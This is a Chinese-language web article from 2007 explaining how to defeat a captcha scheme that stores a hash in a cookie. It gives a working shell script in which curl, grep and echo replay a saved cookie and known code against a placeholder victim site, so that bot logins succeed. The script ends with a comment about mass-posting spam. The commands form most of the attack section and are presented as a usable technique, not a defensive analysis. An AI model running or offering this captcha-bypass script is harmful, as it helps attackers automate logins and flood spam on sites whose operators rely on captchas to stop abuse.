黑客技术 看看黑客如何破解验证码机制
2007-08-18 16:46:49 来源:WEB开发网核心提示: 有一类验证码比以上两种验证码要高级一些,它使用如下算法:1、服务器生成一个随机hash,黑客技术 看看黑客如何破解验证码机制(3),2、使用某个算法(不可逆,破解难度高的)将hash转化成为验证码数字,,,再转化成图片,3、hash在cookie中被发送到客户端4、客户以图片输入验证码
有一类验证码比以上两种验证码要高级一些,它使用如下算法:
1、服务器生成一个随机hash。
2、使用某个算法(不可逆,破解难度高的)将hash转化成为验证码数字,再转化成图片。
3、hash在cookie中被发送到客户端
4、客户以图片输入验证码,进行登录。服务器检查f(hash)=验证码。
特点:因为攻击者不明白服务器所使用的验证码编码算法,所以无法对服务器转来的hash进行直接解析。
对付这种验证码,我们可以使用“过期cookies法”,方法即:保存服务器一次特定的cookies,将其对应验证码记下。在每次发送验证消息时
,强行扔掉服务器传来的cookies,使用这个已被使用过的cookies以及验证码。就好比,一张电话充值卡可以用多次一样。
如:
先从服务器上下载一张验证码图片:
curl http://www.victim.org/get_code.php -c cookie -o auth.png
人工阅读,得到$savecookie(cookie文件中的hash)和$authnum(验证码)。
机器人突破验证时,扔掉服务器给的hash,强制使用$savecookie和$authnum进行突破
CODE:
$savecookie=294b506f05f896dcbb3a0dde86a5e36c
$num=7701
$username=hacker
$password=hackme
curl php" target="_blank">http://www.victim.org/index.php -c $username.cookie # 得到初始化cookies,以及session id
grep -v authhash $username.cookie > tmp.$username # 扔掉服务器给你的hash
echo "www.victim.org FALSE / FALSE 0 hash $savecookie" >> tmp.$username # 强行使用过期hash 和验证码
mv tmp.$username $username.cookie
curl php" target="_blank">http://www.victim.org/login.php -b $username.cookie -c $username.cookie -d username=$username -d password=$password -d
authnum=$num # 使用过期验证码登陆。
#登陆成功,去疯狂灌水。。。。。
更多精彩
赞助商链接